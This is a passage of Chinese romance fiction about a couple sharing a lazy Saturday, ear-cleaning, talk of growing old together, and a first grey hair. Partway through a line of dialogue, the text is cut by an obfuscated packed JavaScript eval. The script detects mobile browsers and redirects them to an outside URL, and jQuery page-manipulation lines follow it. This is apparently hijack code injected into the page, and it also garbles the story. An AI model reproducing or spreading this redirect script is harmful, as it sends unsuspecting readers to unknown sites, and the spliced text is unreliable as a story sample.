周六下午两点半。


    这是一个神圣的时间点。在这个时间点，阳光会呈现出一种像是被蜂蜜浸泡过的金黄色，透过没擦干净的落地窗斜射进来，正好打在那张灰色的布艺沙发上。


    空气里的尘埃在光束里乱舞，像是无数个微小的、金色的幽灵。


    我躺在沙发上，头枕着许漫的大腿。


    家里很乱。那种乱不是脏，而是一种因为过度放松而产生的“甚至懒得把这只袜子扔进脏衣篓”的颓废感。茶几上堆着还没开封的快递盒，地毯上散落着两本翻了一半的书，不远处的单人椅上堆满了这周换下来还没洗的衣服——它们堆成了一座摇摇欲坠的小山，我们给它起了个名字叫“珠穆朗玛”。


    如果是平时，看着这座山我会焦虑。我会想：得洗衣服了，得吸尘了，得把生活拉回正轨了。


    但今天是周六。


    周六的特权就是，我可以看着那座脏衣服山，心安理得地想：去他妈的，让它倒了吧，倒了我也要把这个懒觉睡到地老天荒。


    许漫手里拿着一支金属耳勺，正在给我掏耳朵。


    她的动作很轻，金属触碰到耳道内壁的那一刻，有一种冰凉的酥麻感。那种感觉顺着神经末梢直通大脑皮层，让我全身的毛孔都舒服得张开了。


    “别动。”她轻轻拍了一下我的肩膀，语气慵懒，“再动戳聋你。”


    “痒。”我闭着眼睛，喉咙里发出呼噜呼噜的声音，“往左边一点……对，就是那儿。”


    “你怎么耳屎这么多。”许漫嫌弃地嘟囔着，“是不是这周听甲方的废话听多了，耳朵为了自我保护长出来的茧？”


    “可能是吧。”我含糊地应着，享受着这种把脑袋完全交给另一个人的信任感，“你多挖点，把那些‘颗粒度’、‘闭环’、‘赋能’全给我挖出来扔了。”


    “行，我给你做个开颅手术，给你换个脑子。”


    她吹了吹耳勺，换了一只耳朵。


    阳光晒得我昏昏欲睡。许漫的大腿温热而柔软，那种肉感比任何昂贵的乳胶枕都要舒服。我睁开眼，视线正好对着她的下巴。


    从这个死亡角度看过去，能看见她下颌线边缘有一颗很小的痣，还有随着呼吸微微起伏的喉咙。


    她没化妆，脸上有些出油，鼻翼两侧泛着一点点油光。要是放在刚谈恋爱那会儿，她肯定会觉得不完美，会遮掩。但现在，这就只是一张脸，一张属于我的人类的脸。


    “漫漫。”


    “嗯？”她正全神贯注地盯着我的耳洞，像个专注的考古学家。


    “你说，咱俩老了以后怎么办？”


    这大概是所有情侣在某个百无聊赖的午后都会聊起的话题。既无聊，又宏大。


    “什么怎么办？”


    “就是老得走不动了。没儿没女的。”我看着空气里那些飞舞的尘埃，“谁给咱俩推轮椅？”


    许漫手上的动作没停：“花钱请护工呗。所以让你少买点那些没用的手办，多存点养老金。现在的护工很贵的，你要是脾气不好，人家还能趁你不注意掐你。”


    “我脾气挺好的。”我不服气，“倒是你，更年期肯定难伺候。”


    “我要是老了……”许漫停下了动作，似乎认真思考了一下，“我就去住那种高端养老院。没事打打麻将，跳跳广场舞。你要是瘫痪了，我就把你推到广场边上晒太阳，让你看着我跟别的老头老太太跳舞。”


    “最毒妇人心。”我笑着去掐她的腰。


    她怕痒，笑着躲闪，手里的耳勺差点戳到我。


    “别闹！”她按住我乱动的手，“说正经的。”


    她把耳勺放下，用纸巾擦了擦手，然后把手掌覆在我的眼睛上，替我挡住了有些刺眼的阳光。


    “林知，如果真有那天。”她的声音突然低了下来，“我希望我比你先死。”


    我的心脏猛地跳漏了一拍。


    那种玩笑般的轻松气氛突然凝固了一秒。


    “为什么？”我拿开她的手，定定地看着她。


    许漫垂下眼帘，手指无意识地卷着我的一缕头发：“因为我胆子小啊。我不敢想象没有你的日子怎么过。如果是你先走了，留我一个人在这个屋子里……看着你的拖鞋，看着你的牙刷，我会疯的。”


    她顿了顿，又笑了，笑容里带着点狡黠：“所以这种痛苦还是留给你吧。你皮糙肉厚的，抗造。”


    “凭什么啊。”我感觉鼻腔里涌上一股酸意，故意大声反驳，“我也很脆弱的好不好？我也受不了。”


    “那没办法。”她重新躺回靠背上，漫不经心地看着天花板，“那我们就争取死一块儿。或者……谁也不准先死，都要活成老妖精，互相折磨到一百岁。”


    “行。”我重新把头埋进她的怀里，声音闷闷的，“那就一百岁。少一年都不行。”


    我们沉默了一会儿。


    这种关于死亡的讨论，并没有让气氛变得悲伤。相反，它让这个慵懒的午后多了一种名为“宿命”的重量。


    我们都很清楚，衰老和死亡是悬在每个人头顶的达摩克利斯之剑。但在它掉下来之前，我们还有漫长的几十年可以互相折磨，互相依偎。


    “哎，林知。”许漫突然像发现了新大陆一样叫了起来，“你有一根白头发！”


    “哪儿？”我下意识地想去摸。


    “别动，在鬓角这儿。”她凑近了，呼吸喷在我的脸上，“我给你拔了啊？”


    “别！”我赶紧护住头，“拔一根长十根，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088268|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我还不想秃。”


    “就一根，特别显眼，亮闪闪的。”许漫按住我的手，“强迫症受不了，忍一下。”


    “嘶——”


    头皮一阵轻微的刺痛。


    许漫捏着那一根细细的银丝，举到阳光底下端详：“看，真的是白的。彻底白了。”


    我眯着眼看着那一根头发。


    它在阳光下闪着一种冷冽的光泽，像是一根细小的针，刺破了我们“还年轻”的幻觉。


    我是什么时候开始有白头发的？是上个月连续通宵赶项目的时候？还是为了那个傻逼房贷焦虑得睡不着的时候？


    我的身体正在被这个世界磨损。


    我的胶原蛋白在流失，我的发际线在后移，我的眼睛里开始有了红血丝。我正在一点点老去，变成一台生锈的机器。


    我看向许漫。


    在逆光里，我也看到了。在她那乌黑的头发里，也藏着几根不易察觉的银丝。那是岁月在她身上留下的抓痕。


    那一刻，我心里突然涌起一种巨大的、近乎于疼痛的温柔。


    这很残忍，不是吗？我们都在不可避免地走向腐朽。


    但这又很浪漫，不是吗？我们在共同见证彼此的腐朽。


    “留着吧。”我说。


    “啊？拔都拔了。”许漫把那根头发扔进垃圾桶。


    “我是说，以后的。”我伸手摸了摸她的脸颊，指腹划过她眼角那道细细的纹路，“白头发也好，皱纹也好，都留着吧。那是我们一起熬过来的战利品。”


    许漫愣了一下，随后低下头，轻轻地吻了吻我的额头。


    “傻子。”


    太阳渐渐西斜了。


    那束金黄色的光从沙发上移到了地板上，又慢慢爬上了墙角。屋子里的光线变得暗淡，那种属于黄昏的灰蓝色调开始蔓延。


    我们谁也没动，就在这渐晚的天色里，保持着这个姿势。


    我感觉我的电量充满了。


    这一整个下午，我们什么都没干。没有产出，没有复盘，没有做任何有意义的事。我们只是像两只互相抓虱子的猴子一样，在这个钢筋水泥的森林里，挥霍着我们仅有的那一点点自由。


    但这居然让我觉得，这是我这周过得最有意义的一天。


    “饿了。”许漫突然打破了沉默。


    肚子适时地叫了一声，非常响亮，非常不合时宜，又非常真实。


    “晚上吃什么？”我问出了这个永恒的哲学问题。


    “不想做饭了。”许漫懒洋洋地说，“点外卖吧。我想吃那家很脏很难吃的炸鸡。”


    “好，点。”我拿出手机，“再加两瓶可乐。冰的。”


    “要大瓶的。”


    “没问题。”